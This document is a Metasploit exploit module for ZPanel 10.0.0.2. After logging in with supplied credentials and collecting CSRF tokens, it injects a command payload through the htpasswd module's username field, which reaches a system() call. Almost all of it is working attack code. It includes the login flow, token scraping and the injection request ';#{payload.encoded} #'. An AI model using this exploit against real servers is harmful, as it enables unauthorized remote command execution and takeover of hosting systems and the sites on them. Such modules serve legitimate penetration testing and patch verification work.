ZPanel 10.0.0.2 htpasswd Module Username Command Execution Exploit

:
26.06.2013
:
ZPanel 10.0.0.2
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "ZPanel 10.0.0.2 htpasswd Module Username Command Execution",
'Description' => %q{
This module exploits a vulnerability found in ZPanel's htpasswd module. When
creating .htaccess using the htpasswd module, the username field can be used to
inject system commands, which is passed on to a system() function for executing
the system's htpasswd's command.

Please note: In order to use this module, you must have a valid account to login
to ZPanel. An account part of any of the default groups should suffice, such as:
Administrators, Resellers, or Users (Clients). By default, there's already a
'zadmin' user, but the password is randomly generated.
},
'License' => MSF_LICENSE,
'Author' =>
[
'shachibista', # Original discovery
'sinn3r' # Metasploit
],
'References' =>
[
['OSVDB', '94038'],
['URL', 'https://github.com/bobsta63/zpanelx/commit/fe9cec7a8164801e2b3755b7abeabdd607f97906']
['URL', 'http://forums.zpanelcp.com/showthread.php?27898-Serious-Remote-Execution-Exploit-in-Zpanel-10-0-0-2']
],
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Targets' =>
[
[ 'ZPanel 10.0.0.2 on Linux', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Jun 7 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to ZPanel', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate as']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
], self.class)
end


def peer
"#{rhost}:#{rport}"
end


def check
res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
if not res
print_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end

if res.body =~ /This server is running: ZPanel/
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe
end


def login(base, token, cookie)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'index.php'),
'cookie' => cookie,
'vars_post' => {
'inUsername' => datastore['USERNAME'],
'inPassword' => datastore['PASSWORD'],
'sublogin2' => 'LogIn',
'csfr_token' => token
}
})

if not res
fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out")
elsif res.body =~ /Application Error/ or res.headers['location'].to_s =~ /invalidlogin/
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed")
end

res.headers['Set-Cookie'].to_s.scan(/(zUserSaltCookie=[a-z0-9]+)/).flatten[0] || ''
end


def get_csfr_info(base, path='index.php', cookie='', vars={})
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base),
'cookie' => cookie,
'vars_get' => vars
})

fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out while collecting CSFR token") if not res

token = res.body.scan(/<input type="hidden" name="csfr_token" value="(.+)">/).flatten[0] || ''
sid = res.headers['Set-Cookie'].to_s.scan(/(PHPSESSID=[a-z0-9]+)/).flatten[0] || ''
fail_with(Exploit::Failure::Unknown, "#{peer} - No CSFR token collected") if token.empty?

return token, sid
end


def exec(base, token, sid, user_salt_cookie)
fake_pass = Rex::Text.rand_text_alpha(5)
cookie = "#{sid}; #{user_salt_cookie}"

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base),
'cookie' => cookie,
'vars_get' => {
'module' => 'htpasswd',
'action' => 'CreateHTA'
},
'vars_post' => {
'inAuthName' => 'Restricted+Area',
'inHTUsername' => ";#{payload.encoded} #",
'inHTPassword' => fake_pass,
'inConfirmHTPassword' => fake_pass,
'inPath' => '/',
'csfr_token' => token
}
})
end


def exploit
base = target_uri.path

token, sid = get_csfr_info(base)
vprint_status("#{peer} - Token=#{token}, SID=#{sid}")

user_salt_cookie = login(base, token, sid)
print_good("#{peer} - Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")

vars = {'module'=>'htpasswd', 'selected'=>'Selected', 'path'=>'/'}
cookie = "#{sid}; #{user_salt_cookie}"
token = get_csfr_info(base, '', cookie, vars)[0]
vprint_status("#{peer} - Token=#{token}, SID=#{sid}")


print_status("#{peer} - Executing payload...")
exec(base, token, sid, user_salt_cookie)
end

end

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